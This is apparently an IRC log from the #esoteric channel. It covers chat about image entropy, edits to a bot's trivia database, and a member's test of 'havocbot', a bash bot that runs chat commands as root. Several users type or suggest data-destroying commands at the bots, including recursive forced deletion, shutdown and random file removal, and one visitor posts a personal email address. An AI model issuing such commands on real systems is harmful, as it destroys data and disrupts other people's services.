crashsafari.com seems to have managed to troll me 07:24:59 -!- AnotherTest has joined. 07:26:58 -!- AnotherTest has quit (Client Quit). 07:35:49 -!- xkapastel has quit (Quit: Connection closed for inactivity). 07:36:11 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 07:49:00 -!- _bear has joined. 08:06:50 oerjan: hmm, true. sorry. 08:27:39 -!- MoALTz has joined. 08:34:21 -!- dnm has quit (Ping timeout: 276 seconds). 09:08:38 -!- Frooxius has quit (Quit: *bubbles away*). 09:17:31 -!- _bear has left. 09:31:03 -!- Destructible has joined. 09:31:08 hiiii 09:31:47 anyone? 09:32:06 pls 09:32:32 -!- halvredin has quit (Remote host closed the connection). 09:33:07 hi Destructible 09:33:12 hi 09:33:41 I think I should make a page for the language I thought up 09:33:57 sure why not 09:34:01 Tommy Wicode 09:34:07 that'll be the name 09:35:51 I'm not very good at formatting pages though 09:35:57 this would be my first page 09:39:16 I made the description 09:39:20 what do now 09:39:38 fix the spelling mistakes 09:42:24 what spelling mistakes 09:42:33 ? 09:44:48 ???? 09:44:58 did you leave? 09:46:09 :'( 09:47:04 -!- dnm has joined. 09:48:35 sorry i'm leaving now :P 09:48:41 i was jk about that 09:53:45 ok 10:07:59 -!- Destructible has quit (Quit: Page closed). 10:08:47 -!- Destructible has joined. 10:08:54 back 10:09:32 Hm... what does a 5D cube projected into 4D projected into 3D look like? 10:16:31 -!- oerjan has quit (Quit: Pretty squeezed actually). 10:23:56 -!- Koen_ has joined. 10:26:41 It's still an affine map... so basically it's no different than projecting to 3d in one step; it may come out sheared. 10:29:59 -!- Destructible has quit (K-Lined). 10:31:16 -!- dnm has quit (Ping timeout: 252 seconds). 10:47:27 -!- Destructible has joined. 10:47:36 -!- Destructible has quit (Client Quit). 11:17:13 -!- Akaibu has quit (Quit: Connection closed for inactivity). 11:28:07 -!- idris-bot has joined. 11:32:53 Huh. On a torus, the 4 color theorem becomes the 7 color theorem 11:33:18 -!- boily has joined. 11:44:47 `wisdome 11:44:50 `wisdom 11:45:22 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wisdome: not found 11:45:22 monoidal category//Monoidal categories are just 2-categories with a single object. 11:54:47 -!- Phantom_Hoover has joined. 12:04:46 -!- bender has joined. 12:08:50 -!- gamemanj has joined. 12:18:23 -!- noloveinwaikiki has joined. 12:21:42 -!- boily has quit (Quit: SCHEMATIC CHICKEN). 12:22:58 Hello. I am looking for a user called ehird. He used to hang in this channel years ago. He still does? Or do you know where i can find him? Thanks for help. 12:24:44 -!- MoALTz has quit (Quit: Leaving). 12:27:41 Not since a couple years I think 12:27:52 maybe you can give him my mail address so he can contact me: KasiaWygodna@gmail.com ..oh 12:28:03 okay. 12:28:21 thanks for the info. 12:29:14 :-( 12:32:14 hmmmm 12:32:24 I think they meant literally a couple years 12:32:26 like, 2 12:41:58 wtf, lua 5.3 has labels and goto? I never noticed that. great! 12:43:24 -!- j-bot has quit (Ping timeout: 250 seconds). 12:46:36 *cue raptor invasion* 12:47:19 ...would you like some raptors with that goto? 12:52:59 -!- Koen_ has quit (Remote host closed the connection). 12:53:15 -!- Koen_ has joined. 12:54:12 `? raptor invasion 12:54:22 raptor invasion? ¯\(°​_o)/¯ 12:54:24 `? raptor 12:54:26 raptor? ¯\(°​_o)/¯ 12:54:27 `? raptors 12:54:29 raptors? ¯\(°​_o)/¯ 12:58:18 -!- Phantom__Hoover has joined. 12:59:03 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 13:27:26 `` cd wisdom; grep -r 'goto language' . 13:27:38 No output. 13:27:51 `` cd wisdon; grep -r goto 13:28:13 oops 13:28:15 `` cd wisdom; grep -r 'go.to language' . 13:28:16 `` cd wisdom; grep -r goto 13:28:22 -!- AnotherTest has joined. 13:28:36 ​/hackenv/bin/`: line 4: cd: wisdon: No such file or directory 13:28:50 No output. 13:28:50 ​./forth:Since Biblical times, Forth has been the go-to language for multiplication. 13:29:26 oh, punny. 13:30:22 . o O ( I was hoping for something like: BASIC is the go-to language for structural programming ) 13:31:25 s/structural/structured/ 13:32:26 -!- impomatic_ has joined. 13:46:40 -!- lynn_ has changed nick to lynn. 13:46:53 -!- lynn has quit (Changing host). 13:46:53 -!- lynn has joined. 13:46:53 -!- lynn has quit (Changing host). 13:46:53 -!- lynn has joined. 13:56:56 -!- xkapastel has joined. 14:07:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 14:08:16 -!- sheldon has joined. 14:13:36 -!- mroman has joined. 14:13:48 What happens to entropy when you do average? 14:14:07 For example let's say a symbol has 24bit of information 14:14:11 and it's an integer 14:14:20 (so there are 2^24 symbols) 14:14:31 what's the entropy of the average of n such integers? 14:16:19 n*24 bits... if you keep their order 14:17:13 and more importantly, if the symbols are independent 14:37:04 that can't be 14:37:18 The average of 4 binary numbers (0..1) 14:37:53 there are 16 ways 14:38:01 15 of those will result in a white pixel 14:38:06 1 will result in a black pixel 14:38:10 at least with integer division 14:38:26 so the entropy is 0.337 14:38:43 if you use like if the sum >= 2 then it's 1 else 0 14:38:48 you still have less than 1 bit of entropy 14:40:37 a grayscale 8bit 2x2 pixel image has 32bit entropy right? 14:41:09 assuming that every pixel is equally likely to occur 14:42:18 if you use 4bit grayscale you have 16bit of information in a 2x2 pixel image 14:42:36 if you take the average you should be left with 3.26bits of entropy 14:43:48 which is weird because if you don't take the average but just the top left pixel 14:44:01 I'd exect the resulting 1x1 pixel to have 4bits of information 14:44:03 *expect 14:44:42 mroman: Ah I didn't parse your question correctly. 14:44:57 Technically the question is we have an image and we scale it down 14:45:13 what will loose more information: doing average of 2x2 blocks or selecting top-left pixel of 2x2 blocks 14:45:36 and we reduced that problem to "let's look at just a 2x2 pixel image" 14:45:58 but since pixels are just integers :) 14:46:05 rgb is just a 24bit integer 14:46:09 -!- sheldon has quit (Quit: leaving). 14:46:16 also the assumption is that every pixel is equall likely to occur 14:46:51 so naively we said that one pixel in a black-white image has 1 bit of information 14:47:02 so selecting the top-left pixel of a 2x2 image will result in an image with 1 bit of information 14:47:40 however, doing average will result in 0.337 bits (because then in the scaled down image black occurs 15 more often than white) 14:47:53 which is due to integer rounding 14:48:22 -!- lambda-11235 has joined. 14:48:27 so we tried it with 4bits 5bits etc 14:49:50 -!- nycs has joined. 14:50:11 and the question is: does the average contain the same amount of information as selecting the top-left pixel 14:50:56 it looks like for more bits the rounding stuff gets smaller and you eventually end up with the same amount of information 15:01:16 -!- noloveinwaikiki has quit (Quit: Connection closed for inactivity). 15:02:03 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 15:02:28 well, an easy estimate is that the sum of 4 8-bit numbers contains between 8 and 10 bits of information; dividing by 4 loses up to 2 bits of information so you'll have between 6 and 8 bits left. 15:17:39 the actual value before rounding is 9.250423023523387 bits 15:24:15 -!- Koen_ has quit (Remote host closed the connection). 15:24:21 and the rounding loses close enough to 2 bits that you probably won't care. 15:35:01 How, exactly, does 9.250423... of a bit work? 15:35:10 What happens to the .250423? 15:52:34 -!- coppro has quit (Quit: leaving). 15:53:04 -!- coppro has joined. 15:55:24 gamemanj: if you have a binary value that's on with probability 2/3 and off with probability 1/3 then that represents (about) 0.9183 bits of information... one interpretaion of that number is that if you take 10000 independent of these numbers then they can be represented using 9183 (plus a few) bits, on average. 15:55:44 `unicode U+0130 15:55:45 ​İ 15:57:30 gamemanj: if you're mathematically minded, you could try reading the Shannon 1948 paper, it's quite nice. 15:59:28 shannon himself forbade non mathematically minded people from reading it 15:59:34 but now he's dead so i guess it's fine 16:00:13 izabera: I haven't read the original paper, but information theory is sufficiently classic now that there are very good tertiary source textbooks and courses 16:00:26 explaining the fundations 16:00:32 `? goto 16:00:34 goto? ¯\(°​_o)/¯ 16:00:37 `? gosub 16:00:38 -!- Akaibu has joined. 16:00:38 gosub? ¯\(°​_o)/¯ 16:02:29 izabera: wait, "shannon himself forbade non mathematically minded people from reading it"... did he, really? 16:02:47 `? shannon 16:02:49 shannon? ¯\(°​_o)/¯ 16:03:04 I just wrote "mathematically minded" because it is quite formal. 16:03:23 `learn Shannon forbade non mathematically minded people from reading his research papers. Taneb invented it. 16:03:26 Learned 'shannon': Shannon forbade non mathematically minded people from reading his research papers. Taneb invented it. 16:03:38 and more formal than it really needs to be if you're just interested in computing entropies. 16:03:47 -!- hppavilion[1] has joined. 16:19:00 -!- Koen_ has joined. 16:22:26 -!- augur has joined. 16:40:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 16:50:59 -!- Reece` has joined. 17:29:08 -!- jaboja has joined. 17:34:17 -!- jaboja has quit (Ping timeout: 260 seconds). 17:46:06 -!- jaboja has joined. 18:05:22 -!- hwpplayer1 has joined. 18:05:56 `seen gregor 18:06:10 ls: cannot access /var/irclogs/_esoteric/????-??-??.txt: No such file or directory \ not lately; try `seen gregor ever 18:06:28 Hmmm... has anyone seen gregor lately? 18:07:04 -!- bender has quit (Quit: Leaving). 18:26:53 -!- Kaynato has joined. 18:26:57 -!- Koen_ has quit (Remote host closed the connection). 18:27:10 -!- bdbdbjc has joined. 18:31:36 -!- bdbdbjc has quit (Ping timeout: 250 seconds). 18:47:57 -!- jaboja has quit (Ping timeout: 276 seconds). 18:55:39 -!- kline has quit (Max SendQ exceeded). 18:57:50 -!- Koen_ has joined. 19:01:15 -!- kline has joined. 19:39:23 `? with my own two hands 19:39:24 with my own two hands? ¯\(°​_o)/¯ 19:43:49 are they dark and cold? 19:43:59 dark, but probably nt cold 19:44:34 `? house 19:44:37 house? ¯\(°​_o)/¯ 19:44:38 `? stink 19:44:39 stink? ¯\(°​_o)/¯ 19:44:43 will carlsen lose another game on time today? 19:44:56 no idea 19:45:33 b_jonas: Why do you `? things like that? 19:46:05 house sounds like something we might have a wisdom entry for 19:46:58 at the very least it could allude mysteriously to http://programatica.cs.pdx.edu/House/ 19:47:08 and I'm sure there are other interesting houses 19:49:35 -!- spiette has joined. 20:05:10 -!- `^_^ has joined. 20:06:27 -!- nycs has quit (Ping timeout: 264 seconds). 20:06:36 `` cd wisdom; echo *root* 20:06:40 ​*root* 20:26:48 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 20:31:35 -!- Reece` has quit (Read error: Connection reset by peer). 20:44:30 -!- `^_^ has quit (Quit: This computer has gone to sleep). 20:45:09 -!- `^_^ has joined. 20:48:17 -!- vague_ has joined. 20:48:40 -!- vague_ has changed nick to Guest58767. 20:52:49 -!- S1 has joined. 20:52:59 -!- S1 has quit (Client Quit). 20:54:47 -!- Guest58767 has quit (Quit: Leaving). 21:11:03 -!- moon_ has joined. 21:11:09 im offically dumping codeblocks >_> 21:11:27 In favour of..? 21:12:18 Eclipse C++, codeblocks's compiler is broken in every way, including missing standard library components (curse you atoi!) 21:14:12 Eclipse needs faster mirrors >_> 21:14:42 virtualbox, which is about the same size as eclipse C++, downloads much faster 21:16:59 -!- dnm has joined. 21:17:00 -!- Melvar has quit (Quit: WeeChat 1.4). 21:17:18 -!- Melvar has joined. 21:18:01 -!- idris-bot has quit (Ping timeout: 240 seconds). 21:19:25 didnt esoteric use to have a forum? 21:21:37 -!- dnm has quit (Client Quit). 21:27:32 -!- mroman has quit (Ping timeout: 250 seconds). 21:30:08 -!- moon_ has quit (Ping timeout: 250 seconds). 21:31:00 -!- Kaynato has quit (Ping timeout: 246 seconds). 21:56:04 -!- jaboja has joined. 22:16:13 `? `? 22:16:23 ​`? ¯\(°​_o)/¯ 22:16:34 `learn `? is the command to query wisdom entries. 22:16:40 Relearned '`': `? is the command to query wisdom entries. 22:16:41 `? `? 22:16:42 ​`? ¯\(°​_o)/¯ 22:16:44 damn 22:16:46 `before 22:16:47 `revert 22:16:56 uh oh, rice condition 22:17:01 sorry 22:17:22 wisdom/`//` is the prefix to greatness. 22:17:25 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 22:17:29 `? ` 22:17:31 ​` is the prefix to greatness. 22:17:34 `slashlearn `?/`? is the command to query wisdom entries. 22:17:39 Relearned «`?» 22:17:41 `? `? 22:17:42 ​`? is the command to query wisdom entries. 22:17:44 `? ` 22:17:46 ​` is the prefix to greatness. 22:17:56 wait, why relearned? 22:18:36 `? vim 22:18:37 `? emacs 22:18:37 http://codu.org/projects/hackbot/fshg/index.cgi/rev/3540a712fd40 22:18:38 vim equals to approximately ccxxxxxxxxviin. 22:18:39 emacs is the weird brother of nano. 22:19:04 shachaf: hmm, strange 22:19:09 maybe I shouldn't have replaced that? 22:19:27 `culprits wisdom/`? 22:19:35 wasn't me 22:19:36 b_jonas int-e ais523 oerjan hppavilion1_ oerjan oerjan elliott oerjan JWinslow23 JWinslow23 JWinslow23 Roujo Roujo Bike FreeFull ais523 ais523 oerjan boily boily elliott FreeFull GreyKnight GreyKnight 22:19:50 `1 hoag 'wisdom/`?' 22:19:58 1/3: slashlearn `?/`? is the command to query wisdom entries. \ revert accbc9c5c7ec \ echo wisdom/* | shuf | head -n 10 | xargs rm \ revert \ learn `? Woooooooooow you\'re sooooooooooooooooooooo metaaaaaaaaa- No. \ sed -i \'s/\xc2\xb0/\xc2\xb0\xe2\x80\x8b/\' wisdom/\'`?\' \ 22:20:30 `spam 22:20:32 2/3: revert \ revert 1 \ revert 3875 \ learn `? `? \ learn `? `? `? \ learn `? `? \ learn `? \xc2\xaf\\(\xc2\xb0_o)/\xc2\xaf \ learn `? is `? is `? \ revert \ for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ reve 22:20:46 ``` sed '' bin/1 22:20:47 ​\` "$@" | sport 22:20:50 Hi 22:21:12 `spam 22:21:14 3/3:rt 87c64ef250a0 \ revert 3 \ revert 1934 \ rm wisdom/`? \ learn `? `? `? \ revert 1492 \ revert 4 \ echo \'See `? for further details.\' > \'wisdom/`?\' \ \'See `? for further details.\' > \'wisdom/`?\' \ 22:21:17 ``` sed '' bin/2 22:21:18 sed: can't read bin/2: No such file or directory 22:21:54 -!- gamemanj has quit (Ping timeout: 250 seconds). 22:21:58 -!- Kaynato has joined. 22:21:59 `? sed 22:22:00 `? awk 22:22:01 sed? ¯\(°​_o)/¯ 22:22:02 awk? ¯\(°​_o)/¯ 22:22:24 `? radio 22:22:26 radio? ¯\(°​_o)/¯ 22:23:08 -!- augur has quit (Remote host closed the connection). 22:24:02 -!- moon_ has joined. 22:24:03 -!- augur has joined. 22:24:48 `? can't 22:24:50 can't? ¯\(°​_o)/¯ 22:28:26 -!- augur has quit (Ping timeout: 250 seconds). 22:29:18 `learn can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staff task vast 22:29:23 Learned 'can't': can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't 22:29:29 `? can't 22:29:30 can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staff task vast 22:31:07 father? 22:31:13 That seems dubious. 22:32:25 shachaf: dunno, some of them might be wrong 22:32:34 I don't know a definitive list 22:32:49 shachaf: if you know a better list, please tell me 22:33:25 (these are only the more common words. there are lots of rarer ones.) 22:34:20 `sled wisdom/can't//s.The.A. 22:34:23 wisdom/can't//can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. A list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staf 22:34:34 shachaf: hehe, yes, good idea 22:34:55 sled is TG 22:35:14 "TG"? 22:35:17 too good 22:35:22 I kind of want to record statistics about all commands to see which are used most often. 22:35:29 `wisdom 22:35:31 `? statistics 22:35:32 `? politics 22:35:33 `? lies 22:35:37 Why are you doing that? 22:35:37 wisdom//wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 22:35:44 statistics? ¯\(°​_o)/¯ 22:35:45 politics? ¯\(°​_o)/¯ 22:35:45 Lies are even easier than monoids. They form groups, known as Lie groups. 22:35:45 You know they're all going to come up not found. 22:35:51 Except for lies. 22:36:05 -!- moon__ has joined. 22:36:09 im making a openbsd bot for fun, should i bring it here? 22:36:21 moon__: dunno, maybe? 22:36:28 depends on how annoying it is 22:36:38 Singleline 22:36:38 I have a prediction. 22:36:44 im not gonna terrorize the chat lol 22:36:49 That's what you do. 22:36:52 -!- moon_ has quit (Ping timeout: 250 seconds). 22:37:05 eh true 22:37:20 as long as the bot is not abused to do it, it should be fine 22:37:35 moon__: wait, I'll help, I'll go to sleep, and while I'm away you can safely bring the bot in, I won't be terrorizing the channel with it 22:37:43 just make sure you take it down again in the morning 22:37:46 g'nite 22:37:48 haha 22:37:50 lol 22:38:48 it has a 16 gig harddrive space and network access 22:38:51 `? tanebvention 22:38:53 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 22:39:47 note that due to openbsd limitations, you *may* run out of space in some of the folders 22:39:56 i.e once im done unpacking ports 22:40:47 -!- `^_^ has quit (Quit: This computer has gone to sleep). 22:42:03 you also have 1 gb of ram, i cant give too much lol 22:42:17 Can you give 0? 22:42:46 i can give less than 1 gig 22:42:49 but im gonna be nice 22:44:04 usr dir is a little small 22:46:29 also, if anyone causes problems, ill be on standby to fix them (if i can) :P 22:50:27 `? FreeFull 22:50:29 FreeFull is either full of freedom or free of fulldom, we are not sure. 22:50:34 -!- hwpplayer1 has quit (Read error: Connection reset by peer). 22:56:10 openbsd didnt install correctly >_> 22:56:21 why, i dont know 22:56:24 -!- jaboja has quit (Ping timeout: 246 seconds). 22:56:57 wait nvm 22:57:23 nvm, just forgot to eject the install disk 23:06:07 anyways, is there a good way to allow the irc bot to call commands over ssh? 23:14:22 nvm 23:16:53 -!- Sgeo_ has joined. 23:17:03 sgello 23:38:39 well, i have the openbsd enviorment running, but i cant figure out how to get a bash irc bot to work. 23:39:45 moon__, ii? 23:39:58 ? 23:40:02 -!- oerjan has joined. 23:40:12 and what is ii sgeo? 23:40:40 A tool to allow creation of IRC bots that just manipulate the filesystem 23:40:44 http://tools.suckless.org/ii/ 23:41:06 ii is wonderful 23:41:52 i,i ii see 23:42:54 thanks! 23:47:27 that's too many i's 23:50:24 lol 23:50:49 to get hexbot started, for now, im gonna modify ii-bot, ill make a custom system in the future 23:59:46 and ksh hates iibot 23:59:52 *sigh* 2016-06-10: 00:04:36 gentoo live image anyone? virtualbox fixed the bug that it caused with some newer versions of the linux kernal 00:06:11 -!- FreeFull has quit (Quit: Rebooting). 00:07:39 -!- FreeFull has joined. 00:24:33 -!- havocbot has joined. 00:24:39 yay 00:24:54 ok.. just a moment 00:24:56 -!- havocbot has quit (Remote host closed the connection). 00:28:21 -!- havocbot has joined. 00:28:45 havocbot: exec ls 00:29:40 i apparently made a mistake 00:29:41 -!- havocbot has quit (Remote host closed the connection). 00:32:26 let me try that again 00:32:32 -!- havocbot has joined. 00:32:51 havocbot: exec ls 00:33:22 i forgot to chmod +x the fake exec lol 00:33:25 -!- havocbot has quit (Remote host closed the connection). 00:33:48 -!- havocbot has joined. 00:33:53 havocbot: exec ls 00:33:53 moon__:README 00:33:53 moon__:bashbot 00:33:53 moon__:bashbot.config 00:33:53 moon__:bashbot.pid 00:33:53 moon__:commands 00:33:54 moon__:filters 00:34:05 I should shorten that 00:34:27 back to the drawing board, unless you guys want to use it 00:34:32 havocbot: cd 00:34:37 havocbot: exec cd 00:35:26 -!- havocbot has quit (Remote host closed the connection). 00:37:50 lets try again 00:37:53 -!- havocbot has joined. 00:37:59 havocbot: ls 00:38:05 havocbot: exec ls 00:38:41 this time i failed at sed 00:38:44 -!- havocbot has quit (Remote host closed the connection). 00:39:29 -!- havocbot has joined. 00:39:34 havocbot: ls 00:39:38 havocbot: exec ls 00:39:38 moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters 00:39:43 i keep making that mistake, and yay 00:40:11 ok, im gonna leave you guys in the home directory, have fun with root privs :P 00:40:14 -!- havocbot has quit (Remote host closed the connection). 00:41:03 -!- havocbot has joined. 00:41:12 actually, i think the chat is dead? 00:41:34 -!- spiette has quit (Ping timeout: 252 seconds). 00:41:35 chat's dead oerjan 00:42:03 damn tab 00:42:08 BRAINS 00:42:12 oh hi 00:42:20 what do you think of havocbot so far? 00:42:34 sorry, i've been otherwise occupied. 00:42:58 havocbot: mkdir src #lets see if it cares about comments 00:43:15 havocbot: exec mkdir src #lets see if it cares about comments 00:43:20 i keep forgetting the exec 00:43:57 i think i broke something again by cding out, i forgot to make it knows its own path 00:44:00 -!- havocbot has quit (Remote host closed the connection). 00:46:16 moon__: there does indeed seem to be a lot of havoc 00:46:23 -!- MDude has joined. 00:46:45 lol 00:46:46 -!- havocbot has joined. 00:46:57 havocbot: exec ls 00:47:19 annnd i forgot something AGAIN 00:47:21 -!- havocbot has quit (Remote host closed the connection). 00:48:14 does it support exec rm -r . yet 00:48:21 vital command 00:48:38 sorry, exec rm -r -f . 00:48:59 -!- havocbot has joined. 00:52:28 does it support me 00:52:42 exec quintopia 00:52:47 havocbot: exec quintopia 00:53:05 looks doubtful 00:53:17 exec /bin/quintopia 00:53:30 exec /bin/oerjan 00:53:41 yep clearly this bot was not written with us in mind 00:53:51 i think the havocbot: is obligatory 00:54:01 havocbot: exec /bin/oerjan 00:54:08 havocbot: exec /bin/quintopia 00:54:36 havocbot: don't do anything 00:54:48 success! 00:55:05 havocbot: exec ls fnord 00:55:13 havocbot: exec ls 00:55:27 ok that command was supposed to work 00:55:47 havocbot: prod moon__ into explaining why you don't work 00:56:41 hmm could have sworn that one would work 00:56:56 you'd think. 00:57:19 pingout in 3,2,.. 00:57:22 well. it doesn't ping out. that's something 00:58:21 -!- Kaynato has quit (Ping timeout: 250 seconds). 00:58:48 i think we should name the bot simon and have the command string be simon says 00:59:08 okay 00:59:27 except that's illogical. 00:59:44 it's not simon that performs the command, usually 01:02:25 figured you nitpick that 01:02:54 as if the commmander and commandee can't have the same name 01:05:02 in that case, it should be Bruce hth 01:05:54 hey! don't bring me down! 01:06:17 .... il look at the logs 01:06:24 i see what happened 01:06:30 you made him crash 01:06:32 -!- havocbot has quit (Remote host closed the connection). 01:06:52 -!- havocbot has joined. 01:06:56 aka you broke it 01:07:06 that shouldnt be possible 01:07:14 its in bash 01:07:14 also bruce is actually a better name 01:07:17 so yea 01:07:38 also, due to lazyness, the 'exec' command actually just uses 'exec' 01:07:48 i might make it use commands from 'bin' later. 01:08:06 aka extend its command librayr 01:08:13 *library 01:08:21 so it doesnt just exec them 01:08:26 `exec ls 01:08:28 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found 01:08:30 oops 01:08:32 wrong bt 01:08:37 havocbot: exec ls 01:08:47 -!- havocbot has quit (Remote host closed the connection). 01:08:48 you crashed it this time 01:08:53 if at first you don't succeed... 01:08:59 im working on it lol 01:09:04 ima fix it nw 01:09:27 ...flood flood again 01:09:39 moon__: I hope you spell code better than English. 01:11:26 -!- havocbot has joined. 01:11:30 he now uses /bin as the main command dir 01:11:37 havocbot: ls 01:11:37 moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:12:00 havocbot: cd 01:12:14 thats not a bin command, is it? xD 01:12:57 -!- havocbot has quit (Remote host closed the connection). 01:13:06 ok, now to add sbin support 01:17:33 lets se.. 01:17:40 -!- havocbot has joined. 01:17:50 havocbot: cd / 01:18:02 havocbot: ls 01:18:02 moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters 01:18:06 huh 01:18:11 ... 01:18:28 why is gentoo pretending cd does not exist? 01:18:50 it isnt. you're doing something wrong 01:18:56 ill look 01:18:57 -!- havocbot has quit (Remote host closed the connection). 01:19:04 -!- sewilton has quit (Ping timeout: 264 seconds). 01:20:10 wait. would "$cmd" execute the command? 01:20:18 that is contained in cmd? 01:20:55 moon__: cd isn't an external command, it needs to be defined in the persistently running shell. 01:21:11 HackEgo doesn't usefully have it for that reason. 01:21:24 (well across commands) 01:21:48 -!- sewilton has joined. 01:22:05 although someone here once made an external cd by using gdb 01:22:09 iirc 01:22:26 gdb eh 01:22:42 (it connected gdb to the parent process and forced it to run the cd syscall, or thereabouts) 01:23:39 kk, ill just have it stay in ~ 01:24:08 or would adding a call to cd in the if block that figures out what type of cmmand you want work? 01:24:28 that should work, assuming that block is in the long-running process 01:24:58 it is 01:25:02 -!- havocbot has joined. 01:25:08 havocbot: ls 01:25:08 moon__:README 01:25:08 moon__:bashbot 01:25:08 moon__:bashbot.config 01:25:08 moon__:bashbot.pid 01:25:08 moon__:commands 01:25:09 moon__:filters 01:25:16 ok, just gotta add the filter 01:25:21 -!- havocbot has quit (Remote host closed the connection). 01:26:23 -!- havocbot has joined. 01:26:31 i beleive it is now throwing commands at the shell directly' 01:26:46 havocbot: cd 01:26:53 havocbot: ls 01:26:53 moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters 01:27:14 ok ill try the if block extension, i just made it redundant 10 seconds ago 01:27:21 -!- havocbot has quit (Remote host closed the connection). 01:28:43 ok, i think it should work 01:28:50 -!- havocbot has joined. 01:28:59 havocbot: cd / 01:29:06 havocbot: ls 01:29:06 moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters 01:29:09 urgh 01:29:26 maybe i should just make a little dir for you all to use to run the bot 01:29:30 -!- havocbot has quit (Remote host closed the connection). 01:30:16 -!- havocbot has joined. 01:30:20 you should be in the main dir 01:30:23 havocbot: ls 01:30:23 moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:30:33 havocbot: ls /.. 01:30:33 -!- silverscream has joined. 01:30:34 ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:30:36 aww 01:30:39 Ok, you can do what you all want now heh 01:30:43 havocbot: ls /../../.. 01:30:44 ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:30:55 its gentoo, idk if it supports that 01:31:09 Does it support quitting? 01:31:11 havocbot: rm ii-1.7.tar.gz 01:31:18 14:36 Singleline 01:31:34 its singleline, dont you see? 01:31:34 Oh, that's fixed, at least. 01:31:50 havocbot: whoami 01:31:50 shachaf:root 01:31:54 havocbot: shutdown -h now 01:32:05 havocbot: whoami 01:32:05 shachaf:root 01:32:12 it gave you the useage (= 01:32:29 and please dont 01:32:52 or i will waste my time adding a ignore list 01:32:58 havocbot: ls 01:32:58 moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:33:43 havocbot: bash rm -f ii-1.7.tar.gz #this might get around the single argument limitation 01:33:57 . 01:34:02 havocbot: ls 01:34:09 i froze it 01:34:23 bash is offically a no-no 01:34:40 wait its taking this as lines 01:34:41 haha 01:35:03 -!- havocbot has quit (Remote host closed the connection). 01:35:19 -!- havocbot has joined. 01:35:52 havocbot: rm -f ii-1.7.tar.gz 01:36:29 is there a way to bypass the single arg limitation? 01:38:58 hello? is everyone dead or unwilling to give me a tip? 01:39:45 i mean i don't know how your bot works 01:39:54 -!- Phantom__Hoover has changed nick to Phantom_Hoover. 01:40:42 $cmd "$@" is the command call.. 01:41:22 wait leme check 01:41:23 -!- havocbot has quit (Remote host closed the connection). 01:42:11 nope, forgot the "$@" 01:42:38 -!- havocbot has joined. 01:42:53 havocbot: ls 01:42:53 moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:43:06 havocbot: cat bashbot.config 01:43:06 moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" ) 01:43:46 ok there.. 01:43:54 havocbot: cat bashbot.config | grep "nick" 01:43:54 moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" ) 01:43:59 havocbot: cat bashbot.config | grep -e "nick" 01:43:59 moon__:nick=havocbot$:server=irc.freenode.net$:port=6667$:chans=( "#esoteric" )$ 01:44:05 .. 01:44:16 maybe i should actually use bash to do it? 01:45:10 should i? 01:45:36 -!- ChanServ has set channel mode: +o oerjan. 01:45:49 whats with the op oerjan? 01:46:04 -!- oerjan has set channel mode: +b *!*uid156554@gateway/web/irccloud.com/x-deybdlcjwgqyifml. 01:46:04 -!- oerjan has kicked silverscream. 01:46:23 -!- oerjan has set channel mode: -o oerjan. 01:46:46 moon__: silverscream = noloveinwaikiki (earlier today) = hagb4rd 01:46:54 spammer? 01:47:03 troll. 01:47:29 ah 01:47:40 i bet he/she might try to mess up havocbot? 01:48:06 moon__: i bet he/she would not think of it unless you give him the idea. 01:48:19 also, you can use wget to put files on havoc 01:48:34 havocbot: ls 01:48:35 moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz 01:48:46 havocbot: rm -f ii-1.7.tar.gz 01:48:56 havocbot: ls 01:48:56 moon__:bashbot.config:bashbot.pid:ii-1.7 01:49:00 there 01:50:38 also, python is preinstalled for your useage 01:51:59 havocbot: mkdir bin 01:52:06 havocbot: mkdir src 01:52:45 havocbot: bash cd / 01:52:45 havocbot: sh 01:52:51 ybden 01:52:55 moon__ 01:53:11 havocbot freezes when interactives are used in such a way the open a interactive set 01:53:34 luckily havoc only has bash so you didnt make me reboot it 01:53:39 -!- hppavilion[1] has joined. 01:53:44 hia hppa 01:53:46 moon__: oh, sorry 